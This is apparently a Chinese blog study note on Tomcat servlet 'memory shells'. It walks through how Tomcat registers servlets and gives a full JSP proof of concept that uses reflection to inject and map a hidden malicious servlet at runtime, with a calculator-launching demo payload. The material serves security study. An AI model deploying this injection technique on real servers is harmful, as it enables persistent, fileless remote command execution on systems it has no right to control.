Tomcat-servlet内存马

文章笔记来源:

白日梦组长b站视频https://www.bilibili.com/video/BV1E84y1w77R/?spm_id_from=333.337.search-card.all.click&vd_source=5eaab636aff585a40f16448f4cb3b0f1

流程分析:

之前在分析listener内存马的时候,就在contextconfig里面有一个对传入的xml文件进行操作的函数configureContext,然后我们看下面发现其不仅对listener进行了操作,也对servlet进行了循环调用

然后发现就是创建一个wrapper,把context放到wrapper里面
预加载,正常servlet是在访问的时候才会被创建,预加载可以在访问之前被创建出来

然后给wrapper设立一个名字

然后set了一个类名(这里就可以相当于是set我们的恶意servlet)

相当于web.xml里面的

最后就是把wrapper再放回到context里面

最后还差一步就是加载web.xml里面的内容

对应的代码:

一个pattern和一个name,刚好对应

然后加载的流程大致就是
1.configureContext加载web.xml
2.然后将servlets保存到StandardWrapper
3.对处理完之后wrapper再放到Context

tips:

“一个 Context 对应于一个 Web 应用,可以包含多个 Wrapper。”
“一个 Wrapper 对应一个 Servlet。负责管理 Servlet”

在这个过程中的最后一步则是加载servlet也就是实例化servlet,在上述分析的过程中并没有这一操作
最后是使用的wrapper的一个setServlet方法来实例化代码

最后的exp(servlet.jsp)

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.IOException" %><%--
Created by IntelliJ IDEA.
User: Le'novo
Date: 2025/2/24
Time: 20:41
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%!
public class ServletShell extends HttpServlet{
    private String message;
    public void init(){
        message="hello servlet内存马";
    }
    public void doGet(HttpServletRequest request,HttpServletResponse response)throws IOException{
        Runtime.getRuntime().exec("calc");

    }
    public void destroy(){

    }
}
%>



<%//动态注册servlet
//获取standardcontext
ServletContext servletContext=request.getServletContext();
Field applicationcontextField = servletContext.getClass().getDeclaredField("context");
applicationcontextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationcontextField.get(servletContext);


Field StandardContextField = applicationContext.getClass().getDeclaredField("context");
StandardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) StandardContextField.get(applicationContext);

Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("ServletShell");
wrapper.setServletClass(ServletShell.class.getName());
wrapper.setServlet(new ServletShell());//实例化servlet这个类

standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/servletShell2","ServletShell");

%>
</body>
</html>

测试流程:

1.访问这个jsp文件(将恶意servlet注册进去)
2.然后访问自定义的路由,就可以成功弹出计算器(执行恶意servlet)

posted @ 2025-02-28 16:58  Zephyr07  阅读(21)  评论(0)    收藏  举报